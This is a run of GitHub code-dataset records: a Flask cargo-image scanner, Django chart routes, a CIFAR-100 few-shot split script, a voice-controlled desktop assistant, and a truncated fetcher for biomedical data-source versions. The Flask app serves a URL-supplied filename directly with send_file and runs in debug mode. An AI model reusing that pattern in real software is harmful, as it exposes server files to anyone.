enumerate(boxes.splitlines()):\r\n if x != 0:\r\n b = b.split()\r\n if len(b) == 12:\r\n x, y, w, h = int(b[6]), int(b[7]), int(b[8]), int(b[9])\r\n cv2.rectangle(result, (x, y), (w + x, h + y), (0, 0, 255), 1)\r\n cv2.putText(result, b[11], (x + 45, y + h + 30), cv2.FONT_HERSHEY_COMPLEX, 0.8, (50, 50, 255),\r\n 1)\r\n accuracy_score = b[10]\r\n id_number = b[11]\r\n add_record(id_number, datetime.now().strftime(\"%D/%M/%Y %H:/%M:%S\"))\r\n\r\n return result, accuracy_score, id_number\r\n\r\n\r\n# Flask Web App things...\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/\")\r\ndef main_page():\r\n return render_template('index.html', process_image='url')\r\n\r\n@app.route('/process', methods=['POST'])\r\ndef process_image():\r\n if 'image' not in request.files:\r\n return 'No image file uploaded'\r\n\r\n file = request.files['image']\r\n\r\n if file.filename == '':\r\n return 'No selected image'\r\n\r\n try:\r\n image = Image.open(file)\r\n processed_image, accuracy_score, number_id = process_image_func(image)\r\n\r\n # Save the processed image to a temporary file\r\n temp_filename = 'processed_image.jpg'\r\n processed_image = cv2.cvtColor(processed_image, cv2.COLOR_BGR2RGB)\r\n cv2.imwrite(os.path.join(app.static_folder, temp_filename), processed_image)\r\n\r\n return render_template('result.html', filename=temp_filename, accuracy_score=accuracy_score, number_id=number_id)\r\n except Exception as e:\r\n return f'Error processing image: {str(e)}'\r\n\r\n@app.route('/display_image/<filename>')\r\ndef display_image(filename):\r\n return send_file(filename, mimetype='image/jpeg')\r\n\r\n@app.route('/table')\r\ndef display_table():\r\n records = []\r\n with open('records.csv', 'r') as file:\r\n reader = csv.DictReader(file)\r\n for row in reader:\r\n records.append(row)\r\n\r\n return render_template('table.html', records=records)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"silvermete0r/CargoScan","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"25328869820","text":"# encoding=utf-8\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.chart_list),\n # 图表\n # http://127.0.0.1:9000/chart/kline/BCH-USD-SWAP/5T/2020-01-05%2014:55:00/\n path('kline/<instrument_id>/<rule_type>/<start_time>/', views.chart_kline),\n\n # macd\n # http://127.0.0.1:9000/chart/kline_macd/BCH-USD-SWAP/5T/2020-01-05%2014:55:00/\n path('kline_macd/<instrument_id>/<rule_type>/<start_time>/', views.chart_macd),\n]\n","repo_name":"royee820926/bitango","sub_path":"chart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"421387858","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport os\n\nimport numpy as np\nimport pathlib\nimport pickle\n\n# Make train, validation and test splits deterministic from one run to another\nnp.random.seed(2017 + 5 + 17)\n\n# Dataset split\n# 00 'aquatic_mammals'\n# 01 'fish'\n# 02 'flowers'\n# 03 'food_containers'\n# 04 'fruit_and_vegetables'\n# 05 'household_electrical_devices'\n# 06 'household_furniture'\n# 07 'insects'\n# 08 'large_carnivores'\n# 09 'large_man-made_outdoor_things'\n# 10 'large_natural_outdoor_scenes'\n# 11 'large_omnivores_and_herbivores'\n# 12 'medium_mammals'\n# 13 'non-insect_invertebrates'\n# 14 'people'\n# 15 'reptiles'\n# 16 'small_mammals'\n# 17 'trees'\n# 18 'vehicles_1'\n# 19 'vehicles_2'\n\n# CIFAR100_PATH = '/mnt/datasets/public/cifar100'\n# CIFAR100_PATH = '/home/boris/Downloads/cifar-100-python'\nclass_split = {'train': {1, 2, 3, 4, 5, 6, 9, 10, 15, 17, 18, 19}, 'val': {8, 11, 13, 16}, 'test': {0, 7, 12, 14}}\n\ndef main(data_dir, output_dir):\n # load the full CFAR100 dataset, including train and test\n with open(os.path.join(data_dir, 'train'), 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n images = dict[b'data']\n fine_labels = dict[b'fine_labels']\n coarse_labels = dict[b'coarse_labels']\n\n with open(os.path.join(data_dir, 'test'), 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n images = np.concatenate((images, dict[b'data']))\n fine_labels = np.concatenate((fine_labels,dict[b'fine_labels']))\n coarse_labels = np.concatenate((coarse_labels,dict[b'coarse_labels']))\n\n images = images.reshape((-1, 3, 32, 32))\n images = images.transpose((0, 2, 3, 1))\n\n for split_name, split_coarse_classes in class_split.items():\n split_images=[]\n split_fine_labels=[]\n split_coarse_labels=[]\n for current_coarse_label in split_coarse_classes:\n idxs = coarse_labels == current_coarse_label\n split_images.append(images[idxs])\n split_fine_labels.append(fine_labels[idxs])\n split_coarse_labels.append(coarse_labels[idxs])\n\n split_images = np.concatenate(split_images)\n split_fine_labels = np.concatenate(split_fine_labels)\n split_coarse_labels = np.concatenate(split_coarse_labels)\n\n # Save dataset to disk\n permutation = np.random.permutation(len(split_images))\n features = split_images[permutation]\n targets = split_fine_labels[permutation]\n pathlib.Path(output_dir).mkdir(parents=True, exist_ok=True)\n np.savez(\n os.path.join(output_dir, 'few-shot-{}.npz'.format(split_name)),\n features=features, targets=targets)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--data-dir', type=str,\n default=os.path.join(os.sep, 'mnt', 'datasets', 'public', 'cifar100', 'raw-data'),\n help='Path to the raw data')\n parser.add_argument(\n '--output-dir', type=str, default=os.path.join(os.sep, 'mnt', 'datasets', 'public', 'cifar100'),\n help='Output directory')\n\n args = parser.parse_args()\n main(args.data_dir, args.output_dir)\n","repo_name":"ServiceNow/TADAM","sub_path":"datasets/create_dataset_cifar100.py","file_name":"create_dataset_cifar100.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"78"} +{"seq_id":"180804947","text":"import sys\r\nimport speech_recognition as sr\r\nimport pyttsx3\r\nimport pywhatkit\r\nimport datetime\r\nimport wikipedia\r\nimport pyjokes\r\nimport cv2\r\nimport os\r\nimport webbrowser as wb\r\nimport pyautogui as py\r\nimport time\r\nfrom PyQt5 import QtWidgets, QtCore, QtGui\r\nfrom PyQt5.QtCore import QTimer, QTime, QDate, Qt\r\nfrom PyQt5.QtGui import QMovie # for gif\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.uic import loadUiType\r\nfrom jarvis__ui import Ui_MainWindow\r\n\r\n# i dont know how to interact with os then came to know that its a packge callef os\r\n# os .system to run any shell command\r\n# in os .system(\"contains the name of application with the same name as that in pc\")\r\n\r\nlistener = sr.Recognizer()\r\nengine = pyttsx3.init()\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice', voices[0].id)\r\ncommand = 'b'\r\n\r\n\r\ndef speak(text):\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\n\r\n# init got stuck ** key to this is to use dummy ** inside init (dummy)\r\n# my task is to know how does this wayresolve our problem\r\n# dummy doesnt solve the problem its just a way to test\r\n# now we need to unistall pyttsx3 and install pyttsx3==2.7 and it worked :)\r\n\r\n# lib folder contains the downloaded packages.\r\n\r\n\r\n\r\n\r\ndef wiki(p):\r\n person = p.replace('who is', '')\r\n info = wikipedia.summary(person)\r\n # 1 after represents the person is the limit of words in info\r\n print(info)\r\n speak(info)\r\n\r\n\r\ndef notepad():\r\n print(\"bgr\")\r\n py.press('win', interval=0.2)\r\n # press to automatically press the key\r\n py.typewrite('Notepad', interval=0.2)\r\n # typewrite\r\n py.press('enter', interval=0.2)\r\n speak(\"Please tell your content sir\")\r\n\r\n time.sleep(3)\r\n while True:\r\n x = take_command()\r\n if \"QUIT\" in x:\r\n break\r\n py.typewrite(x, interval=0.2)\r\n py.typewrite('\\n', interval=0.2)\r\n\r\n speak(\"Would you like to save it\")\r\n time.sleep(3)\r\n x = take_command()\r\n if \"YES\" in x:\r\n print('vt')\r\n py.press('ctrl + s', interval=0.2)\r\n\r\n\r\ndef camera():\r\n cap = cv2.VideoCapture(0)\r\n while True:\r\n res, frame = cap.read()\r\n cv2.imshow('cam_star', frame)\r\n if cv2.waitKey(10) == ord('q'):\r\n break\r\n\r\n\r\ndef chrome():\r\n # os.startfile()\r\n # i found difficulty over here bcz initially it was telling that no such program found but when i used '%s' then it was working perfectly fine\r\n\r\n speak(\"Please say what do you want to search\")\r\n x = take_command()\r\n # time.sleep(3)\r\n path = 'C:/Program Files/Google/Chrome/Application/chrome.exe %s'\r\n wb.get(path).open_new_tab(x)\r\n\r\n\r\n# I made a mistake that i didnt converted the whole text into a single case 'upper or lower' and provided me unusual results\r\n# i wanted to make a loop that could run until all the q key is pressed\r\n\r\n\r\nclass MainThread(QThread):\r\n def __init__(self):\r\n super(MainThread, self).__init__()\r\n\r\n def run(self):\r\n self.run_alexa()\r\n\r\n def take_command(self):\r\n try:\r\n with sr.Microphone() as source:\r\n print('listening...')\r\n\r\n listener.adjust_for_ambient_noise(source)\r\n voice = listener.listen(source)\r\n voice.pause_threshold = 3000\r\n self.command = listener.recognize_google(voice)\r\n self.command = self.command.upper()\r\n if 'alexa' in self.command:\r\n self.command = self.command.replace('alexa', '')\r\n print(self.command)\r\n except:\r\n pass\r\n return self.command\r\n\r\n def run_alexa(self):\r\n speak('Hello i am jarvis how can i help you')\r\n while True:\r\n self.p = self.take_command()\r\n print(command)\r\n\r\n if 'PLAY' in self.p:\r\n song = self.p.replace('play', '')\r\n speak('playing ' + song)\r\n print(song)\r\n pywhatkit.playonyt(song)\r\n\r\n\r\n elif 'TIME' in self.p:\r\n time = datetime.datetime.now().strftime('%I:%M %p')\r\n speak('Current time is ' + time)\r\n\r\n elif 'WHO IS' in self.p:\r\n wiki(self.p)\r\n\r\n\r\n\r\n elif ('SELFIE' in self.p) or ('CAMERA' in self.p):\r\n camera()\r\n\r\n\r\n elif (\"GOOGLE\" in self.p) or (\"SEARCH\" in self.p) or (\"CHROME\" in self.p) or (\"BROWSER\" in self.p) :\r\n speak(\"Opening\")\r\n speak(\"GOOGLE CHROME\")\r\n print(\".\")\r\n print(\".\")\r\n chrome()\r\n\r\n\r\n\r\n elif (\"IE\" in self.p) or (\"MSEDGE\" in self.p) or (\"EDGE\" in self.p) :\r\n speak(\"Opening\")\r\n speak(\"MICROSOFT EDGE\")\r\n print(\".\")\r\n print(\".\")\r\n os.startfile(\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\")\r\n\r\n elif (\"NOTEPAD\" in self.p) or (\"NOTES\" in self.p) or (\"NOTEPAD\" in self.p) :\r\n speak(\"Opening\")\r\n speak(\"NOTEPAD\")\r\n print(\".\")\r\n print(\".\")\r\n i = 0\r\n notepad()\r\n\r\n\r\n elif (\"VLCPLAYER\" in self.p) or (\"PLAYER\" in self.p) or (\"VIDEO PLAYER\" in self.p) :\r\n speak(\"Opening\")\r\n speak(\"VLC PLAYER\")\r\n print(\".\")\r\n print(\".\")\r\n os.startfile(\"C:\\Program Files (x86)\\VideoLAN\\VLC\\vlc.exe\")\r\n\r\n elif (\"ILLUSTRATOR\" in self.p) or (\"AI\" in self.p) :\r\n speak(\"Opening\")\r\n speak(\"ADOBE ILLUSTRATOR\")\r\n print(\".\")\r\n print(\".\")\r\n os.system(\"illustrator\")\r\n\r\n\r\n\r\n elif (\"WORD\" in self.p) or (\"MSWORD\" in self.p) :\r\n speak(\"Opening\")\r\n speak(\"MICROSOFT WORD\")\r\n print(\".\")\r\n print(\".\")\r\n os.system(\"C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE\")\r\n\r\n\r\n elif \"QUIT\" in self.p:\r\n speak(\"Thank you for using me sir!\")\r\n break\r\n\r\n\r\n else:\r\n speak(\"please Type Again\")\r\n print(\".\")\r\n print(\".\")\r\n continue\r\n\r\n\r\nstartExecution = MainThread()\r\n\r\nclass Main(QMainWindow):\r\n def __init__(self):\r\n super().__init__()\r\n self.ui = Ui_MainWindow()\r\n self.ui.setupUi(self) # To display the ui by itself\r\n self.ui.pushButton.clicked.connect(self.startTask)\r\n self.ui.pushButton_2.clicked.connect(self.close)\r\n\r\n def startTask(self):\r\n self.ui.movie = QtGui.QMovie(\"7LP8.gif\")\r\n self.ui.label.setMovie(self.ui.movie)\r\n self.ui.movie.start()\r\n \r\n self.ui.movie = QtGui.QMovie('Iron Man Jarvis Live Wallpaper This jarvis boot animation (1).gif')\r\n self.ui.label_2.setMovie(self.ui.movie)\r\n self.ui.movie.start()\r\n\r\n self.ui.movie = QtGui.QMovie('Jarvis_Loading_Screen.gif')\r\n self.ui.label_3.setMovie(self.ui.movie)\r\n self.ui.movie.start()\r\n\r\n startExecution.start()\r\n \r\n\r\n def showTime(self):\r\n current_time = QTime.currentTime()\r\n current_date = QDate.currentDate()\r\n label_time = current_time.toString('hh:mm:ss')\r\n label_date = current_date.toString(Qt.ISODate)\r\n self.ui.textBrowser.setText(label_date)\r\n self.ui.textBrowser_2.setText(label_time)\r\n\r\n\r\n\r\napp = QApplication(sys.argv)\r\njarvis = Main()\r\njarvis.show()\r\nexit(app.exec_())\r\n","repo_name":"choudhary-robin/Cool_Buddy","sub_path":"Cool_Buddy/jarvis.py","file_name":"jarvis.py","file_ext":"py","file_size_in_byte":7611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"20827485825","text":"import re\nimport json\nimport requests\nfrom ftplib import FTP\nfrom io import BytesIO\nfrom zipfile import ZipFile\nfrom datetime import datetime\nfrom dateutil import parser\nfrom typing import Dict, Union, List\n\ntry:\n from typing_extensions import TypedDict\nexcept ModuleNotFoundError:\n pass\n\n\nclass Entry(TypedDict):\n version: Union[str, None]\n files: Dict[str, Union[str, None]]\n latest: bool\n\n\nDEFAULT: List[Entry] = []\n\nMONTHS_SHORT = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']\n\n\ndef get_website_source(url: str) -> str:\n headers = {'User-Agent': 'DataSource-Status Fetcher'}\n return requests.get(url, headers=headers).content.decode('utf-8')\n\n\ndef get_obo_ontology_version_line(url: str) -> Union[str, None]:\n r = requests.get(url, stream=True)\n for line in r.iter_lines():\n if line.decode('utf-8').strip().startswith(\"data-version:\"):\n return line.decode('utf-8')\n return None\n\n\ndef get_aact_entry() -> List[Entry]:\n source = get_website_source('https://aact.ctti-clinicaltrials.org/pipe_files')\n pattern = re.compile(r'(/static/exported_files/monthly/([0-9]{8})_pipe-delimited-export\\.zip)')\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][1][0:4] + '.' + matches[0][1][4:6] + '.' + matches[0][1][6:8],\n 'files': {\n 'pipe-delimited-export.zip': 'https://aact.ctti-clinicaltrials.org' + matches[0][0]\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_canadian_nutrient_file_entry() -> List[Entry]:\n source = get_website_source('https://www.canada.ca/en/health-canada/services/food-nutrition/healthy-eating/' +\n 'nutrient-data/canadian-nutrient-file-2015-download-files.html')\n pattern = re.compile(r'dateModified\">\\s*([0-9]{4})-([0-9]{2})-([0-9]{2})\\s*</time>')\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'cnf-fcen-csv.zip': 'https://www.canada.ca/content/dam/hc-sc/migration/hc-sc/fn-an/alt_formats/zip/' +\n 'nutrition/fiche-nutri-data/cnf-fcen-csv.zip'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_cancer_drugs_db_entry() -> List[Entry]:\n source = get_website_source('https://www.anticancerfund.org/en/cancerdrugs-db')\n pattern = re.compile(r'Database build date:\\s+([0-9]{2})/([0-9]{2})/([0-9]{2})', re.IGNORECASE)\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][2] + '.' + matches[0][1] + '.' + matches[0][0],\n 'files': {\n 'cancerdrugsdb.txt': 'https://acfdata.coworks.be/cancerdrugsdb.txt'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_dgidb_entry() -> List[Entry]:\n # TODO\n return DEFAULT\n\n\ndef get_drugbank_entry() -> List[Entry]:\n releases = json.loads(get_website_source('http://go.drugbank.com/releases.json'))\n latest_version = sorted([release['version'] for release in releases], reverse=True)[0]\n versions = []\n for release in releases:\n url = release['url']\n entry: Entry = {\n 'version': release['version'],\n 'files': {\n 'drugbank_all_full_database.xml.zip': url + '/downloads/all-full-database',\n 'drugbank_all_structures.sdf.zip': url + '/downloads/all-structures',\n 'drugbank_all_metabolite-structures.sdf.zip': url + '/downloads/all-metabolite-structures',\n },\n 'latest': release['version'] == latest_version\n }\n versions.append(entry)\n return versions\n\n\ndef get_drugcentral_entry() -> List[Entry]:\n source = get_website_source('https://drugcentral.org/ActiveDownload')\n pattern = re.compile(\n r'(https://unmtid-shinyapps\\.net/download/drugcentral\\.dump\\.([0-9]+)_([0-9]+)_([0-9]{4})\\.sql\\.gz)')\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][3] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'drugcentral.dump.sql.gz': matches[0][0]\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_ema_entry() -> List[Entry]:\n # EMA updates the medicine data tables once a day\n entry: Entry = {\n 'version': datetime.today().strftime('%Y.%m.%d'),\n 'files': {\n 'Medicines_output_european_public_assessment_reports.xlsx':\n 'https://www.ema.europa.eu/sites/default/files/' +\n 'Medicines_output_european_public_assessment_reports.xlsx',\n 'Medicines_output_herbal_medicines.xlsx':\n 'https://www.ema.europa.eu/sites/default/files/Medicines_output_herbal_medicines.xlsx'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_gene2phenotype_entry() -> List[Entry]:\n source = get_website_source('https://www.ebi.ac.uk/gene2phenotype')\n pattern = re.compile(r'<strong>([0-9]{4})-([0-9]{2})-([0-9]{2})</strong>')\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'CancerG2P.csv.gz': 'https://www.ebi.ac.uk/gene2phenotype/downloads/CancerG2P.csv.gz',\n 'DDG2P.csv.gz': 'https://www.ebi.ac.uk/gene2phenotype/downloads/DDG2P.csv.gz',\n 'EyeG2P.csv.gz': 'https://www.ebi.ac.uk/gene2phenotype/downloads/EyeG2P.csv.gz',\n 'SkinG2P.csv.gz': 'https://www.ebi.ac.uk/gene2phenotype/downloads/SkinG2P.csv.gz'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_gene_ontology_entry() -> List[Entry]:\n obo_url = 'http://current.geneontology.org/ontology/go.obo'\n version_line = get_obo_ontology_version_line(obo_url)\n pattern = re.compile(r'([0-9]{4})-([0-9]{2})-([0-9]{2})')\n matches = pattern.findall(version_line)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'go.obo': obo_url,\n 'goa_human.gaf.gz': 'http://current.geneontology.org/annotations/goa_human.gaf.gz',\n 'goa_human_complex.gaf.gz': 'http://current.geneontology.org/annotations/goa_human_complex.gaf.gz',\n 'goa_human_isoform.gaf.gz': 'http://current.geneontology.org/annotations/goa_human_isoform.gaf.gz',\n 'goa_human_rna.gaf.gz': 'http://current.geneontology.org/annotations/goa_human_rna.gaf.gz'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_gwas_catalog_entry() -> List[Entry]:\n headers = {'User-Agent': 'DataSource-Status Fetcher'}\n request = requests.get('https://www.ebi.ac.uk/gwas/api/search/downloads/alternative', headers=headers, stream=True)\n disposition = request.headers['content-disposition']\n file_name = re.findall(\"filename=(.+)\", disposition)[0].strip()\n pattern = re.compile('([0-9]{4})-([0-9]{2})-([0-9]{2})')\n matches = pattern.findall(file_name)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'gwas_catalog_associations.tsv': 'https://www.ebi.ac.uk/gwas/api/search/downloads/alternative',\n 'gwas_catalog_studies.tsv': 'https://www.ebi.ac.uk/gwas/api/search/downloads/studies_alternative',\n 'gwas_catalog_ancestry.tsv': 'https://www.ebi.ac.uk/gwas/api/search/downloads/ancestry'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_hgnc_entry() -> List[Entry]:\n ftp = FTP('ftp.ebi.ac.uk')\n ftp.login()\n modified_datetime = parser.parse(\n ftp.voidcmd('MDTM pub/databases/genenames/new/tsv/hgnc_complete_set.txt')[4:].strip())\n ftp.close()\n entry: Entry = {\n 'version': modified_datetime.strftime('%Y.%m.%d'),\n 'files': {\n 'hgnc_complete_set.txt': 'https://ftp.ebi.ac.uk/pub/databases/genenames/new/tsv/hgnc_complete_set.txt'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_hpo_entry() -> List[Entry]:\n obo_url = 'https://raw.githubusercontent.com/obophenotype/human-phenotype-ontology/master/hp.obo'\n version_line = get_obo_ontology_version_line(obo_url)\n pattern = re.compile(r'([0-9]{4})-([0-9]{2})-([0-9]{2})')\n matches = pattern.findall(version_line)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'hp.obo': obo_url,\n 'phenotype.hpoa': 'http://purl.obolibrary.org/obo/hp/hpoa/phenotype.hpoa',\n 'genes_to_phenotype.txt': 'http://purl.obolibrary.org/obo/hp/hpoa/genes_to_phenotype.txt',\n 'phenotype_to_genes.txt': 'http://purl.obolibrary.org/obo/hp/hpoa/phenotype_to_genes.txt'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_itis_entry() -> List[Entry]:\n source = get_website_source('https://www.itis.gov/downloads/index.html')\n pattern = re.compile(\n r'files are currently from the <b>([0-9]{2})-(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)-([0-9]{4})</b>')\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][2] + '.' + str(MONTHS_SHORT.index(matches[0][1]) + 1) + '.' + matches[0][0],\n 'files': {\n 'itisMySQLTables.tar.gz': 'https://www.itis.gov/downloads/itisMySQLTables.tar.gz'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_kegg_entry() -> List[Entry]:\n ftp = FTP('ftp.genome.jp')\n ftp.login()\n modified_datetimes = [parser.parse(ftp.voidcmd('MDTM pub/kegg/medicus/' + x)[4:].strip()) for x in\n ['dgroup/dgroup', 'disease/disease', 'drug/drug', 'network/network']]\n ftp.close()\n version = sorted([x.strftime('%Y.%m.%d') for x in modified_datetimes], reverse=True)[0]\n entry: Entry = {\n 'version': version,\n 'files': {\n 'dgroup': 'ftp://ftp.genome.jp/pub/kegg/medicus/dgroup/dgroup',\n 'drug': 'ftp://ftp.genome.jp/pub/kegg/medicus/drug/drug',\n 'disease': 'ftp://ftp.genome.jp/pub/kegg/medicus/disease/disease',\n 'network': 'ftp://ftp.genome.jp/pub/kegg/medicus/network/network',\n 'variant': 'ftp://ftp.genome.jp/pub/kegg/medicus/network/variant',\n 'human_genes_list.tsv': 'http://rest.kegg.jp/list/hsa',\n 'compounds_list.tsv': 'http://rest.kegg.jp/list/compound',\n 'organisms_list.tsv': 'http://rest.kegg.jp/list/organism',\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_med_rt_entry() -> List[Entry]:\n ftp = FTP('ftp1.nci.nih.gov')\n ftp.login()\n file_paths = ftp.nlst('/pub/cacore/EVS/MED-RT/Archive')\n file_names = [x.split('/')[-1] for x in file_paths if\n x.split('/')[-1].startswith('Core_MEDRT_') and x.split('/')[-1].endswith('_XML.zip')]\n file_names = sorted(file_names, reverse=True)\n ftp.close()\n pattern = re.compile(r'([0-9]{4}\\.[0-9]{2}\\.[0-9]{2})')\n versions = []\n for file_name in file_names:\n matches = pattern.findall(file_name)\n entry: Entry = {\n 'version': matches[0],\n 'files': {\n 'Core_MEDRT_XML.zip': 'https://evs.nci.nih.gov/ftp1/MED-RT/Archive/' + file_name\n },\n 'latest': file_name == file_names[0]\n }\n versions.append(entry)\n return versions\n\n\ndef get_mondo_entry() -> List[Entry]:\n obo_url = 'http://purl.obolibrary.org/obo/mondo.obo'\n version_line = get_obo_ontology_version_line(obo_url)\n pattern = re.compile(r'([0-9]{4})-([0-9]{2})-([0-9]{2})')\n matches = pattern.findall(version_line)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'mondo.obo': obo_url\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_ndf_rt_entry() -> List[Entry]:\n ftp = FTP('ftp1.nci.nih.gov')\n ftp.login()\n file_paths = ftp.nlst('/pub/cacore/EVS/NDF-RT/Archive')\n file_names = [x.split('/')[-1] for x in file_paths if x.split('/')[-1].startswith('NDFRT_Public_All')]\n file_names = sorted(file_names, reverse=True)\n ftp.close()\n pattern = re.compile(r'([0-9]{4})-([0-9]{2})-([0-9]{2})')\n versions = []\n for file_name in file_names:\n matches = pattern.findall(file_name)\n entry: Entry = {\n 'version': matches[0][0] + '.' + matches[0][1] + '.' + matches[0][2],\n 'files': {\n 'NDFRT_Public_All.zip': 'https://evs.nci.nih.gov/ftp1/NDF-RT/Archive/' + file_name\n },\n 'latest': file_name == file_names[0]\n }\n versions.append(entry)\n return versions\n\n\ndef get_open_targets_entry() -> List[Entry]:\n # TODO\n return DEFAULT\n\n\ndef get_pathway_commons_entry() -> List[Entry]:\n version_source = get_website_source('https://www.pathwaycommons.org/archives/PC2/')\n version_pattern = re.compile(r'<a href=\"v([0-9]+)/\">v([0-9]+)/</a>')\n matches = sorted([int(x[0]) for x in version_pattern.findall(version_source)], reverse=True)\n versions = []\n for version in matches:\n if version < 9:\n break\n url_prefix = 'https://www.pathwaycommons.org/archives/PC2/v%s/' % version\n entry: Entry = {\n 'version': str(version),\n 'files': {\n 'pathways.txt.gz': url_prefix + 'pathways.txt.gz',\n 'datasources.txt': url_prefix + 'datasources.txt',\n 'PathwayCommons.All.uniprot.gmt.gz': url_prefix + 'PathwayCommons%s.All.uniprot.gmt.gz' % version,\n 'PathwayCommons.All.hgnc.txt.gz': url_prefix + 'PathwayCommons%s.All.hgnc.txt.gz' % version,\n 'PathwayCommons.All.hgnc.sif.gz': url_prefix + 'PathwayCommons%s.All.hgnc.sif.gz' % version,\n 'PathwayCommons.All.hgnc.gmt.gz': url_prefix + 'PathwayCommons%s.All.hgnc.gmt.gz' % version,\n 'PathwayCommons.All.BIOPAX.owl.gz': url_prefix + 'PathwayCommons%s.All.BIOPAX.owl.gz' % version,\n },\n 'latest': version == matches[0]\n }\n versions.append(entry)\n return versions\n\n\ndef get_pharmgkb_entry() -> List[Entry]:\n pattern = re.compile(r'([0-9]{4})-([0-9]{2})-([0-9]{2})')\n version = None\n r = requests.get('https://s3.pgkb.org/data/drugLabels.zip', stream=True)\n with ZipFile(BytesIO(r.content)) as zip_file:\n for item in zip_file.filelist:\n if item.filename.startswith('CREATED'):\n match = pattern.findall(item.filename)[0]\n version = match[0] + '.' + match[1] + '.' + match[2]\n break\n entry: Entry = {\n 'version': version,\n 'files': {\n 'genes.zip': 'https://s3.pgkb.org/data/genes.zip',\n 'drugs.zip': 'https://s3.pgkb.org/data/drugs.zip',\n 'chemicals.zip': 'https://s3.pgkb.org/data/chemicals.zip',\n 'variants.zip': 'https://s3.pgkb.org/data/variants.zip',\n 'phenotypes.zip': 'https://s3.pgkb.org/data/phenotypes.zip',\n 'clinicalAnnotations.zip': 'https://s3.pgkb.org/data/clinicalAnnotations.zip',\n 'variantAnnotations.zip': 'https://s3.pgkb.org/data/variantAnnotations.zip',\n 'relationships.zip': 'https://s3.pgkb.org/data/relationships.zip',\n 'dosingGuidelines.json.zip': 'https://s3.pgkb.org/data/dosingGuidelines.json.zip',\n 'drugLabels.zip': 'https://s3.pgkb.org/data/drugLabels.zip',\n 'pathways-tsv.zip': 'https://s3.pgkb.org/data/pathways-tsv.zip',\n 'clinicalVariants.zip': 'https://s3.pgkb.org/data/clinicalVariants.zip',\n 'occurrences.zip': 'https://s3.pgkb.org/data/occurrences.zip',\n 'automated_annotations.zip': 'https://s3.pgkb.org/data/automated_annotations.zip'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_redo_db_entry() -> List[Entry]:\n source = get_website_source('https://www.anticancerfund.org/en/redo-db')\n pattern = re.compile(r'Database build date:\\s+([0-9]{2})/([0-9]{2})/([0-9]{2})', re.IGNORECASE)\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][2] + '.' + matches[0][1] + '.' + matches[0][0],\n 'files': {\n 'redo_db.txt': 'https://acfdata.coworks.be/redo_db.txt'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_redo_trials_db_entry() -> List[Entry]:\n source = get_website_source('https://www.anticancerfund.org/en/redo-trials-db')\n pattern = re.compile(r'<span id=\\'Last_Import\\'>\\s*([0-9]{2})/([0-9]{2})/([0-9]{4})', re.IGNORECASE)\n matches = pattern.findall(source)\n entry: Entry = {\n 'version': matches[0][2] + '.' + matches[0][1] + '.' + matches[0][0],\n 'files': {\n 'ReDO_Trials_DB.txt': 'https://acfdata.coworks.be/ReDO_Trials_DB.txt'\n },\n 'latest': True\n }\n return [entry]\n\n\ndef get_sider_entry() -> List[Entry]:\n ftp = FTP('xi.embl.de')\n ftp.login()\n modified_datetime = parser.parse(ftp.voidcmd('MDTM 